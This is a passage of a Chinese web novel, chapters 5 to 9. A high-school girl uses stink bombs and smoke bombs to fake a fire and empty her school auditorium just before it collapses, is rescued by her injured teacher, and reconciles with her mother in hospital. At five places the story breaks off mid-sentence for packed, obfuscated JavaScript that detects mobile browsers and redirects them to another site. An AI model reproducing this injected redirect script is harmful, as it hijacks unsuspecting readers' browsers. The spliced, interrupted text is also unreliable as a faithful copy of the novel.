林语禾垂下眼眸,盯着自己脚下的盈盈绿草,手掌中攥着的两块钱像是火苗一样,将她的掌心灼得有点生疼。 ……为什么,她在犹豫? 5. 第 5 章 “同学,麻烦让一让——” “不好意思。” 林语禾还发着呆,下意识往后退了一步才回过神来。 穿着短裤运动鞋的男生女生们从她面前飞驰而过,嘻嘻哈哈,不远处体育老师吹着哨子,警告这群没正形的学生别在跑步的时候闲聊个不停,以免笑过头当场岔气。 林语禾想起4班平时上体育课,也是这样欢声笑语,好像有用不完的活力,哪怕被体育老师按着骂一顿,也丝毫不影响他们继续笑闹的心情。 她摊开手掌,淡绿色的1元纸币,两张,被她下意识攥紧的拳头揉得皱皱巴巴,舒老师估计是很久不关心小卖部的价格了,香飘飘现在要两块五一杯,她自己还要添五毛。 林语禾想,现在回去还来得及找舒老师要那五毛钱,顺便和他打个小报告,那几个男生带了学校严令禁止的臭屁炸弹和烟雾弹,他应该再请自己喝一杯。 她都想好了,一杯香芋味,一杯原味。 沙沙。 沙沙。 林语禾踢了踢草坪上的草,想出了一百个理由。 好,回去。 林语禾决定返回,回到那间大礼堂里。 脚步从草坪上踩过去,一开始很慢,接着越来越快,越来越急促,她一头冲进了塑胶跑道里,正跑第二圈的男男女女们惊叫一声“怎么又是你”。 林语禾没有道歉,她抿着唇飞快地从人群中间穿了过去。 礼堂的大门虚掩着,里面的声音比刚刚更加嘈杂。 会议开始之前最后的自由时间,学生们使出浑身解数,恨不得把所有的话都在这会儿说完。 铁盒子在她眼前放大,它居高临下地睥睨着这只小小的游鱼,像是在嘲笑她的自不量力。 林语禾深深地吸了口气,在剧烈的心跳声中,拉开礼堂的大门,趁着门口没守着人,干脆将它向外推到极限固定住。 一步跨过门口,室内漆黑一片。 暗适应让她的视野中产生了长达三秒的盲区,林语禾用力眨了眨眼睛,瞳孔焦距与心跳同频调整完毕,目光在4班众人身上蜻蜓点水地划过,越过乌乌泱泱人群黑色的脑袋,投向了墙面。 裂缝似乎比她出来之前更大了,甚至有一处墙漆大面积脱落,在地上碎成一块一块的白色粉末板,路过的学生纷纷绕道而行。 …… 距离礼堂坍塌,还有3分钟。 三分钟以后,这里会发生一次又一次的倾塌,在哀嚎和悲鸣中沦为人间地狱。 要想挽救这场悲剧,现在就是最后的机会,礼堂的大门敞开,疏散通道畅通无阻,生还条件充足。 林语禾的掌心全是汗水,她一步一步往前走,阳光在她身后不断拉长,拉长,像是被阴影吞噬一样,慢慢地消失无踪,她的心底不由自主地滋生出了一丝恐惧。 她在害怕。 她无法不害怕,在逼近的死亡面前,勇敢两个字轻飘飘地像是漂流时坐的充气船,浪头打过来,就翻不见了。 林语禾视线游曳,她看见了4班的人。 “今年新概念作文比赛你参加没?” “11月25号才截稿呢,我打算十月国庆节再写。” 说话的是许归苑,一双圆溜溜的眼睛总会盯着人看,专注得好像在盯一块美味小蛋糕。 留着长发的莫雨娜正回答许归苑的疑问,她挑起两缕头发,偏着脑袋编辫子打发时间。 …… 哒哒。 “你是不知道今年湖人和太阳那场经典比赛……” “对对对,科比第一节就6投5中拿了11分对吧?这场比赛你都给我讲了8次了……” 不惜冒着被舒老师暴打的风险,穿着24号球衣的曹严跪撑在礼堂的座椅上,和后排的刘星然大声激辩科比·布莱恩特这个名字的含金量。 显然刘星然对这个话题早已经滚瓜烂熟,但曹严打算演讲第九遍,他也只能“洗耳恭听”。 …… 哒哒。 “这道题不能选A,这个涉及到非限制性定语从句,非限制一般都是which和as引导,有时候也可以是who,whom这些不代表主要成分的内容……你听懂没?” “为什么有as,as不是和的意思吗?” “……” 漆黑的礼堂里还有人在讲题,陈娇娇鼻梁上挂着的眼镜有些沉,只能一遍又一遍地往上扶,但她毫不在意,一副势要将语法点狠狠植入对方大脑的气势。 黄露茫然地看着手里头的卷子,真挚发问,差点把陈娇娇噎得失去了语言组织能力。 …… 哒哒。 林语禾抿着唇,一言不发地从这些熟悉的面孔身边走过。 他们一无所知地在座位上,等待着即将开始的朝会,带着一点不耐烦地等待领导们发表又臭又长的演讲,顺便在脑海里思索今天中午到底要吃什么,黄焖鸡,抄手还是盖浇饭。 光与影,在他们中间交汇,转眼又擦肩而过。 林语禾忍不住苦笑。 她一直觉得,“宣城六中高一(4)班”,对她来说只是一个符号,和数学课本上任何一个她看不明白含义的符号一样,它的意义仅仅是出现在那里,占据“班级”一栏的空格,以免老师把她的卷子当做废纸扫进垃圾桶。 她不曾,也不会与它背后的一切产生联系,甚至不必要记住每个人的名字。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356840|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可事到如今,她却意外地发现自己的想法大错特错。 她不是生活在一片真空里,她在高一(4)班度过的每一天,这间充满欢声笑语的教室,每一处空白都是由一个个名字不同的同学填满,他们的存在早就是她每日日常中,理所应当的一部分。 她,林语禾,是自然数集合中最不起眼的“0”,也是填满这片空白的名字之一。 她可以假装不在意,但她无法回避的事实却是,她记得他们的名字。 林语禾曾经听过一个故事,一家人为了讨孩子开心,从菜市场给他买回来一只鸭子,孩子很高兴,给鸭子起了可爱的名字,天天守着鸭子,带着鸭子出门遛弯,哪怕它长大了不可爱了,他仍然呼唤着它小时候的名字,看它噔噔噔地跑过来,嘎嘎地叫着,跟在他身后。 某一天他回家,发现家里久违地炖了老鸭汤,他的鸭子不见了,父母笑着说,鸭子养大了就是用来吃的呀,可孩子却冲到厕所,吐得眼泪直冒。 那时候她并不能理解孩子的感受,不能共情他眼泪背后的挣扎,可她现在忽然意识到,她和那个孩子没什么不同。 当她意识到身边的这些模糊脸孔都有着独一无二的名字,那么这些人就不再是抽象的、虚无缥缈的概念,他们是活生生坐在这里,和她一样只有十五六岁的男生女生。 ——而这,让她无法置身事外。 林语禾无法控制地想象着,许归苑那双漂亮的眼睛,莫雨娜念念不忘的新概念作文比赛,热爱篮球的刘星然和曹严,还没能解开黄露疑问的陈娇娇,在这场惨剧中都会化为乌有。 还有呢,还有那些她没能看清脸庞的同学,甚至除了4班的其他人,他们也会像操场上那群人一样跑跳欢笑,可在今天以后,他们会不会失去手和脚,甚至失去全部人生? 偏偏是今天,偏偏是此时此刻。 林语禾给自己找了一百个理由,可推翻这一百个理由的理由,足足有一千个,一万个。 她不能逃避,她无处可逃,这一切就发生在她面前! 主持人从红色的帷幕后面现身,他手握话筒,向后台打了个手势,示意将观众席上的灯光彻底熄灭,只留台上这一束聚光。 林语禾从黑色的观众席冒头,无视左右的窃窃私语,甩开脚步飞奔向前,她的目标同样非常明确,那就是之前被舒老师抓住,却没能发现端倪的那群捣蛋鬼。 非常时刻,时间不够她使用常规手段,即使她现在飞奔上舞台,抢走主持人的话筒,向所有人宣告坍塌即将到来,恐怕也只会被当成疯子,又或者是特意选年级主任演讲时出风头的刺儿头,当成反面典型处理。 她需要一些特殊道具! …… 6. 第 6 章 距离礼堂坍塌,还有1分钟。 在主持人抵达台前的那一瞬间,林语禾同时抵达了最前一排角落里的座位,在男生们快要瞪出眼珠子的震惊中,她一手抡起他们放在地上的书包,飞快地拉开拉链。 随即,她深呼吸一口气,就像是要把胸腔里所有空隙都填满一样,掏出藏在书包里面的臭屁炸弹和烟雾弹,往地上狠狠一丢—— “嘭!” 巨响中,劣质的气体瞬间将包装袋冲破,在刺激得几乎令人流泪的臭鸡蛋味道中,浓浓的烟雾滋一下漫了上来。 主持人手中的麦克风发出尖锐的电流干扰音,林语禾用尽全身力气怒吼出声:“起火了,快跑!!!” 除了离她最近的几个男生,谁也不知道发生了什么,黑黢黢的环境里只听见有什么东西爆裂开来,随即有人高呼起火,学生们还没来得及反应过来,第二枚、第三枚、第四枚炸弹砸了下去。 “嘭嘭嘭!” “滋——” 烟雾与气体交织,室内的空气顿时变得一片浑浊,这种炸弹威力不大,却声势巨大,不明所以的学生们个个慌了神,顾不上台上马上就要开始演讲,本能地就从座位上弹起来往外跑。 “火灾,是火灾吗?” “往大门跑,快点跑啊!!” 来自敞开大门的光亮就代表着希望,惊慌失措的鱼儿们挤挤挨挨地往那处游动,脚步声、吵闹声还有东西掉到地上的声音此起彼伏,黑暗里谁也看不见谁的表情,反而让恐慌的情绪更加高涨。 其中一个男生回过味来,伸手去抢她手里的臭屁弹:“林语禾,你拿我东西干什么,还给我——” 林语禾怎么可能还给他! 她屏住呼吸,以极快的速度将几个书包扫荡一空,往他们身上一丢,趁着男生们手忙脚乱接东西的时候就往其他地方跑,被她砸中脑袋的男生愣了一下,惨叫出声:“我的烟雾弹!” “你们也快跑!!”一秒钟对林语禾现在来说也珍贵至极,她扯着嗓子喊了一句,没命地在礼堂里东奔西跑,带着不停炸开的臭鸡蛋味化学武器,以及恐惧效果拉满的烟雾弹,她的声音越来越远。 “起火了!烧起来了!!快往外跑!!” …… 距离礼堂坍塌,还有20秒。 人群四散奔逃。 浓烟重重,臭鸡蛋的气味就像是催命符一样,把鱼儿们从礼堂里撵了出来。 一开始还有人怀疑是不是谁在捣鬼,可随着涌出去的人越来越多,流言四起,早已从一开始的“好像有地方起火”变成了“礼堂已经烧起来了”。 被林语禾“抢劫”的几个男声想要和人倾诉,却没人相信他们:“谁会在这种时候瞎胡闹啊,这么大的事儿,不怕被停学么?” 亲眼看到林语禾四处拱火的几个男生你看看我,我看看你,忍不住怀疑人生:“难道真的是起火了?!” 校园里流言蔓延的速度从来是最快的,更不用说还是众人亲历的突发事件,为了安全,距离礼堂最近的空地甚至都没人敢靠近,众人争先恐后地逃到了操场上,把还在跑圈的体育课学生们给堵了个严严实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356841|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实。 第三次被拦截的男生女生们面面相觑:“礼堂里头干嘛呢?” 有人将情报和他们共享,还在上课的学生们“啊”了一声,也跟着加入了逃命的队伍:“不得了了,礼堂起火了!” “开灯,开灯!”台下乱成一团,台上的主持人也慌了神,连连叫着让后台操控室把灯打开,眼看着烟雾越飘越大,他也不确定是有人恶作剧还是真的有危险发生,捂着鼻子往后台冲,“主任!主任!好像真的起火了,咱们赶紧跑出去吧——” 看着礼堂里的人越来越少,林语禾喘着粗气,扶着座椅靠背,艰难地吞了口口水。 还剩下寥寥几个的臭屁炸弹被她握在手里,上头臭鸡蛋的味道早就把她腌入味了,林语禾甚至感觉自己鼻子已经失去了知觉,至于烟雾弹,早在刚刚那一通狂扔中消耗殆尽。 是的,用臭屁炸弹和烟雾弹来假装起火,这就是林语禾想出的办法。 也是她唯一能想到的办法。 拙劣,幼稚……但最终,它有效。 她的衣服已经湿透了,冷汗混合着热腾腾的汗水,湿哒哒地贴在脊背上别提多难受,一直不停地高声呼喊,肺里的空气消耗得只剩下薄薄一层,连带着喉咙都一抽一抽,灼热地疼,林语禾咧了咧嘴角。 现在唯一一个任务就是要逃出这里了,还有一点点时间,只要她抓紧这一点点时间—— 林语禾的手臂忽然从身后被人抓紧。 “林语禾,你骗我说要去医务室,结果就是趁我不注意,跑到礼堂里面来捣乱的?!” 7. 第 7 章 舒老师喘着气,像一头终于找着红旗子的斗牛,中年男人头上仅剩的几根头发在烟雾里倔强地飘啊飘,目光中有震惊,有不解,还有愤怒,透过厚厚的酒瓶底眼镜清晰地折射进林语禾的瞳孔。 “你、你闹出这么大的乱子,你是要翻天啊!” 他怎么也想不到一时心软,女孩竟然就在眼皮子底下捅出那么大篓子。 什么职称,什么评优,什么这个奖那个奖的……这会儿都跟煮熟的鸭子似的嘎嘎地直接从他脑门上飞了过去,舒老师甚至感觉它们得意洋洋地往自己脑门上踹了一脚:就你,想得美! 深深的无力感从他内心一涌而上,他真想按着林语禾肩膀狠狠质问这孩子到底在想些什么,平时文文静静的,怎么突然就一反常态给他这个老师“来了个大的”。 可令他震惊的是,女孩被他连番质问却丝毫没有慌乱和被抓包的紧张——厚厚刘海背后的那双眸子里盛满了无力,与他如出一辙,她低声喃喃了一句什么,舒老师皱着眉头凑近:“你说什么?” 倒计时5秒。 “这里要倒了……” 倒计时4秒。 “倒?!到底怎么回事——” 倒计时3秒。 “跑不出去了,来不及了……” 倒计时2秒。 “林语禾,你把话说清楚!” 倒计时1秒。 女孩眼眶蓄起了泪:“我不想死……!” “轰!!” 礼堂的半边房顶在她眼前倏然倒塌。 巨大的轰鸣从脚下站立的地板上传来,从不断颤抖摇荡的墙面上传来,从不堪重负彼此挤压的顶梁上传来,整座礼堂像是凄风苦雨里一艘无依无靠的小船,又像是地震中心一坨被捏圆搓扁的橡皮泥。 林语禾曾经在电视上看到过非洲草原上动物迁徙,可规模再大的迁徙也比不上此时此刻她耳边几乎令人失去听觉的重重咆哮,烟尘卷了起来,一瞬间就在眼前蒙上了重重的浓雾,好像恐怖电影里的场景。 刚刚她抛出去的烟雾弹在这面前真是小巫见大巫,林语禾的四肢不受控制地战栗着,可躯体又像是被邪恶的美杜莎看了一眼,僵硬得根本调动不起来一丝力气,脚像是在地面上生了根,纹丝不动。 她想要逃,可人类对于“死亡”的恐惧魔高一丈,死死地压住了她逃亡的那一线渴望,像是修炼千年的狐狸精在她脑海里不断念咒语,别跑了,别跑了,你跑不掉,你就该死在这里。 她本来就会死在这里,成为伤亡者名单上无数个名字中的一个,平平无奇,连墓志铭上都找不到什么好说的,只能干巴巴留下一句“是个不错的孩子”。 也许她妈会伤心一段时间,但随着时光推移,她慢慢会遗忘自己曾经有这么个不起眼的女儿,甚至拥有一个新的,品学兼优的女儿,也可能是儿子。 不,不对,她虽然撒了谎,但也救了人,或许她的墓志铭上能写一些更好听的话,也许有那么一丝可能,也会有人对自己的孩子说“隔壁林家那个姐姐很勇敢也很善良,你要向她学习”。 林语禾泪眼朦胧地幻想着,大脑好像被劈成了两半截,一半被感性的海浪包围,无数喜怒哀乐像是走马灯一样在眼前浮现,另一半却在理性中冷眼旁观着这一切,就像是在围观一场即将落幕的默剧。 ……她要死了。 有什么东西重重地砸了下来,比一头巨大的非洲象倒下威力更加强大,林语禾被冲击得东倒西歪,险些一头撞上座位的靠背,却被人拽了起来。 舒老师双目赤红,这个大腹便便的中年男人冲她怒吼:“快跑!” 不等林语禾回话,他拽起学生的手臂就往外头冲! 不断有建材往下倾倒,呛人的粉尘让舒老师光是张开嘴吼出那么一声就吸进去不知道多少,高度近视在这种情况下更是和半个瞎子无异,要是一个人还好,偏偏他还拉了一个人,对方也不知道是腿软了还是绝望了,不仅没跟上他的脚步,还在不断提供和他相反的作用力。 舒老师抹了一把脸,可以预见这一趟哪怕活下来,他这一头秀发也是彻底保不住了,脑海中浮现起年级主任那张虚伪的胖脸,忍不住“草”了一声,遇到事儿比学生溜得都快,这特么都什么事儿啊! 可他没有后退的余地,林语禾是4班的学生,他是4班的班主任,从她的名字出现在花名册的那一天开始,他就有义务要对这孩子负责,哪怕要死,他也得是死在前头的那个! 他呸了一口,转过头冲浑浑噩噩的林语禾喊道:“坚持下,老师带你冲出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356842|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 一切声音在林语禾的耳朵里,都已经朦朦胧胧地听不见了,或许是接连响起的巨大噪音已经刺穿了她的耳膜,又或许是她已经对“活下来”这件事毫无希望,她呆呆地看着班主任的背影,看他拉着自己,脚步笨拙地寻找着出路,看他转过头神情激动地对自己说话,嘴巴一张一合。 为什么呢,刚刚斥责她胡闹的也是这个人,可此时此刻,拼命想要拉她逃出生天的人也是这个人。 苦口婆心把高考最大挂在嘴边,天天耳提面命念叨不停地是这个人,可顾忌着男女有别,隐晦又委婉关心她身体的也是这个人。 林语禾的目光慢慢清晰起来。 这个人姓舒,是她的班主任。 舒老师一路狂奔,明明那么近——那么近,可倒塌下来的横梁、支撑柱、还有各种他甚至认不出来的材料,将礼堂变成了一座移动迷宫。 他转过头想看一眼学生的情况,却发现一根钢筋不知道从哪儿斜插了下来! “躲开!” 世界在这一瞬间被切分成了无数以毫秒为单位的碎片,漫天飞舞的粉尘将中年男人的鬓发染得斑驳,冰冷的钢板上映出他用尽力气而狰狞的面孔,舒老师奋力地扑了上去,久未锻炼过的身体在这一刻出乎寻常地灵活,伴随着钢筋砸入地面的咆哮—— “痛!” “卧槽,好痛!” 师生同时发出了痛呼,林语禾被班主任用力地推到一边,捂着留下红痕的手臂,怔怔地看着面前趴倒在地上,浑身狼狈的男人。 和她相比,舒老师的情况就不太好了,男人死死地按着小腿,巨大的痛楚逼得他怒骂出声,掌心碰到一手黏稠,毫无疑问,他受伤了。 在这个最不能受伤的关键时刻,他却受了伤,钢管堪堪擦着舒老师的腿过去,西装裤变成了破洞鬼火裤,皮肉掀起,鲜血淋漓,眼冒金星。 不幸中的万幸是他推开林语禾那一下带来的反震,也让他往旁边歪了一点,没有被它贯穿骨头,疼痛让肾上腺素急剧飙升,舒老师低咒一声,想摸索着站起来,却又扎到了不知道哪儿的碎片,刺痛让他倒吸口冷气。 更坏的情况发生了,就在刚刚那一瞬间,他鼻梁上的眼镜不翼而飞,他探出手,却只摸到了碎成片的眼镜腿。 8. 第 8 章 林语禾做了个漫长的梦。 梦里她还是五六岁左右的年纪,一左一右地牵着父母宽大的手掌,几乎是一荡一荡地往前走,妈妈嗔怪地叫她不要这么玩太危险,爸爸却是一脸宠溺,说小禾想玩就玩,爸爸在这儿撑着你呢,不会摔下来的。 妈妈怪爸爸太溺爱女儿,却又在几句甜言蜜语中败下阵来,母女俩脸上露出一模一样的幸福笑容,年幼的林语禾伸出短短的手指头指着远处的大圆盘说要坐那个,这对恩爱的夫妻便顺着女儿的心愿,带着她一起坐进了透明的小盒子里。 圆盘升到最高点,她扑到了玻璃边喊哇塞,一张脸贴在上头压得扁扁的,像只胖乎乎的饺子,妈妈凑了过来将她抱在怀里,爸爸卡准时机,在这一刻按下了快门。 太阳升了起来。 躺在病床上的女孩慢慢、慢慢地转动着眼珠,随着眼皮的微微颤动,她睁开了眼,刷着大白的天花板映入了眼帘。 焦距调整,她眨了眨眼,试图看清更多,却发现自己浑身乏力,四肢酸痛得好像不是自己的,她只能艰难地转了转眼睛,动了动手指头。 这一下惊动了床边趴着的女人:“小禾?!” 是她妈,还是那么风风火火,女儿醒了立刻就去按床头铃,外头的走廊上没多久就响起了脚步声,穿着白大褂的医生带着护士鱼贯而入:“病人醒了?哪里不舒服?” 似乎只是口头上问询,然而他们迅速的动作却又表示并非如此,体征检查、抽血、量血压……一系列操作之后,领头的医生尝试与她进行对话。 林语禾一开始什么都没回答,众人都十分紧张,常美琴紧紧地攥住床单,又是害怕又是忐忑地盯着医生的脸色,直到林语禾艰难地迸出一句:“……我口渴。” 所有人都重重地呼出一口气,还能正常表达自己的生理欲望,至少证明人是清醒的,又确认了一遍林语禾的状态,刚刚怎么来的医疗大队又原模原样地从病房离开。 常美琴跟了出去,隔着薄薄的一扇门,林语禾也能听见母亲压低声音的哭声,再抬头看,旁边没有床位,也不存在病人,她竟然住了一间单人病房。 窗边摆着一盆三角梅,能听到楼下有人在浇花,水压从管子里喷涌往上,在玻璃窗上溅出星星点点的水花,又在投射下来的阳光中晕出一弯小小的彩虹。 常美琴推开门进来,手里还拿着大大小小的单子,她没有向林语禾解释这些都是什么,而是将它压在了病床旁边一张更低矮的行军床上,上面还有人睡过的痕迹,林语禾看一眼就知道,之前照顾自己的时候她应该都睡在这里。 “你想要什么,和妈妈说。” “……想喝水。” 身后的枕头塞了上来,常美琴将女儿慢慢扶了起来,拿过热水壶给她倒上小半杯开水,又兑了大半杯凉白开进去。 温热的水灌进喉咙里,先是刺痛,紧接着是滋润,林语禾一口喝光还有些意犹未尽,常美琴又转身去给女儿兑第二杯。 林语禾看着她消瘦的背影,轻声开口:“我梦见小时候去宣城公园玩了。” 常美琴的手抖了抖,又强自稳定下来:“是吗?” “爸爸给我们拍照,在摩天轮上。”林语禾笑了笑,“原来那时候有那么大的摩天轮,拆了真可惜。” 常美琴将水杯拿了过来,看着女儿慢慢抿着喝下第二杯,好一会儿才开口:“对不起。” 她知道,女儿口中的“爸爸”并不是如今家里的那个男人,在很多年前,他就已经变成了一个不会动的盒子,装进了一座不会动的墓碑。 林语禾姓林,却不是林勇的林。 “对不起……”常美琴喃喃地说着,像是在对女儿忏悔,又像是透过她,在看向另一个人,女人苍白的脸颊上流下眼泪,“对不起……” 她想起多年前带着女儿出游,母女俩胆大包天要去探索原始森林,路过一处干涸河床的时候,她在前面走,女儿在后面亦步亦趋,忽然一声哭叫,她转过头,看见女儿偏倒摔在了草丛里。 常美琴浑身的血液在那秒近乎凝结,她看向旁边的河床,裸露的岩石有棱有角,如果女儿不是往里摔倒,而是向外倾倒……她不敢再想会发生什么,只能把女儿紧紧搂在怀里。 她带着女儿出了意外,甚至做好了回家以后被丈夫训斥的准备,可年幼的林语禾却“包庇”了她,回家和爸爸说自己在马路牙子上摔了一跤,还被她爸笑话是平地摔公主。 学校来电话的时候,常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356843|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 美琴甚至还没意识到为什么联络她的不是女儿的班主任舒老师,而是一个自称副校长的陌生人。 直到她隔着电话听到警笛声和救护车运送病人时高低错落的呼号,才后知后觉地意识到,素未谋面的校领导,为什么对她态度温和客气,一句话恨不得弯十个语调。 常美琴甚至不知道自己是用什么方式赶往医院,又是如何给女儿办完了入院手续,医生、护士、不认识的学校这个谁那个谁在她耳边嗡嗡地说着话,她只能看清在病床上的女儿,浑身狼狈,脏兮兮又可怜地蜷缩在那里。 ——她差一点,再一次失去了自己的宝贝。 眼泪,是崩溃,是痛悔,是压力绷紧到极致后,弹簧不堪重负发出的悲鸣。 “说什么呢,妈。”林语禾却弯了弯嘴角,她有些艰难地伸出手,不知道是不是脱力的缘故,它有些使不上力气,林语禾只能有些滑稽地控制着手指头,模仿着火柴小人行进的动作,慢慢地攀到了常美琴的手边。 她握住了母亲的手。 “怎么会这么想呢……我是你女儿,你是我妈,我们是一家人,没有谁对不起谁。” 这些话好像在她心里悄悄地埋了很久很久,此刻说出来,竟然有种如释重负的轻松感。 林语禾有些后悔,这些话她从来没有和母亲袒露过。 这么多年来,两个人都做了些什么呢? 好像无数的光阴都花在了渴望对方先踏出那一步上,可一开始原因又是什么,她已经不记得了。 是父亲意外离世的打击?是对母亲再度踏入婚姻的愤怒? 等她回过头来的时候,青春靓丽的妈妈多了白头发,笑纹变成了鱼尾纹,她从跟在母亲身后亦步亦趋的小跟屁虫,变成了沉默寡言,消极抵抗的“叛逆女儿”。 那一道小小的,一跨就能跨过去的“心结”,变成了鸿沟,慢慢又变成了天堑,将母女俩彻底隔绝在了两个世界。 林语禾曾经认为她们之间的距离,甚至比她和爸爸之间隔着的生与死更遥远,直到自己真的一只脚踏进生死关,在死亡边缘游荡一圈回来,她才意识到自己的想法有多么天真。 这个世界没有林语禾仍然会转,可妈妈的世界不会再转了。 9. 第 9 章 常美琴显然没有想到女儿会对自己说出这番话。 或许她期待过,但在这么多年里,她也变了,面对女儿的沉默寡言,她越来越焦躁,竖起了浑身的尖刺,企图用这些刺换取对方的关注,然后在一次又一次的失败里,将刺竖得更尖,更锐,直到把自己也扎得遍体鳞伤。 常美琴努力勾起唇角,想要在女儿面前展露笑颜,却好像连怎么笑都快忘了。 林语禾头一次觉得额前厚厚的刘海有些碍事,她紧紧地握住掌心里那只粗糙而衰老的手,看着难为情的母亲,她率先笑了出来,就像是小时候拍照时,母亲教她如何在镜头前微笑,给她做出的示范。 常美琴凝视着女儿脸上的梨涡,慢慢、慢慢地也提起唇角的弧度,母女俩相视而笑。 “妈,你知道后来发生了什么事情吗?”林语禾想起昏迷前的经历,“舒老师还好吗?其他人呢?” “舒老师和你一起到的医院……流了很多血,推进手术室去了。”常美琴尴尬地笑了笑,“其他人我不知道,那时候以为你很严重,没心思去留意,我去问问?” 林语禾摇了摇头,再怎么心不在焉,如果事情真的闹得和备忘录里那条新闻一样大,她妈也不可能毫无知觉,所以最大的可能是……她真的改变了命运的走向,他们在那一场灾难里都活下来了。 即使只是小小的、尚未推测的结论,也让她雀跃不已。 常美琴站起身来,休息时间到此为止。 女儿虽然从昏迷中醒过来,但能不能出院还要等医生那边得出结论。 毕竟在倒塌的礼堂里呆了一段时间,有没有“内伤”,还有吸入粉尘会不会影响到肺功能,要不要另外处理……有很多事情还没有得出结论,自己这个当妈的要尽可能做好几手准备,单位要请假,医院这边要沟通后续的事情,家里的事儿还要让林勇先操持着。 “中午想吃什么,妈妈去食堂给你打。” “什么都可以吗?” “都可以。” “我想吃鱼香肉丝。” “好。” “还有糖醋排骨。” “嗯。” “还有番茄炒蛋。” “行,还有吗?” “妈妈我爱你。” 常美琴愣了一下,嗔怪地看了女儿一眼:“别贫嘴。” 林语禾钻进了被子里,吭吭哧哧地闷笑出声。 “我去食堂,你先睡会,等会饭打回来我叫你吃饭。”常美琴交代,“有什么不舒服的就按铃,让医生来看看,记住了吗?” “好。”她妈还是一如既往地爱操心,可同样的话听在耳朵里,林语禾一点不觉得不耐烦,反而有种轻飘飘的幸福感。 好像又回到那个梦境里,妈妈牵着她在游乐园里到处乱跑的时光。 听着病房门合拢的轻响,林语禾长长地吐了口气,忍不住伸手去摸床头放着的手机,却扑了个空,熟悉的直板手机竟然不在这里,她只好耐心等着母亲从食堂回来,向对方打听它的下落。 还好,手机没有坏,只是被她妈趁着之前拿换洗衣服到医院来那会儿带回了家,林语禾不由得佩服诺基亚手机的质量。 她已经算是福大命大,在那场事故里也是“浑身多处擦伤”,手腕还轻微脱臼,舒老师就更惨了,听说在手术室里吃了好大一顿苦头才被放出来,现在还打着石膏夹板,偏偏这只小手机毫发无损。 下午三点多的时候,医生那边给出了最终答复:同意出院。 林语禾高兴得不行。 尽管她也很享受在病床上躺着的悠闲时光,母女俩久违地有了独处的时间,从吃饭开始话题就没停过,学校的事情也用不着操心,什么《一课一练》什么《小题狂做》,现在都跟她一点没关系,理直气壮地偷懒,想发呆就发呆,想看电视就看电视。 就连想吃苹果,她妈都能从不知道哪儿掏出一个新鲜的削皮切块喂她嘴里。 但躺在这儿,总让她有一种自己会变成植物,扎根进这座医院再也出不去的错觉,尤其是当室内安静下来以后,外面隐隐约约传来其他病人的嚎哭和怒吼,更令人清晰地认识到这里不是什么疗养院,也不是度假村。 这里是每天都在上演生死离别的……天堂,以及地狱。 林语禾入院满打满算也就24小时,连行李包都用不上,只不过身上许多地方还缠着绷带,常美琴破天荒地还给母女俩叫了辆出租车回家。 爬楼就没办法了,就是玉皇大帝他老人家来这儿也得乖乖爬楼梯,天气炎热,楼道里一如既往弥漫着淡淡的垃圾发酵臭味,常美琴蹙眉:“还是要找个机会搬走。” 她转头看向女儿,不知道怎么的,林语禾从踏进院子里就显得格外精神高涨,一会儿踩踩地砖,一会儿摸摸楼梯扶手,摸了一手油腻又嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356844|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃地“噫”一声,笨拙地找餐巾纸擦手。 在常美琴眼里,女儿是“差点”出事,可在林语禾心里,自己其实算是“死而复生”。 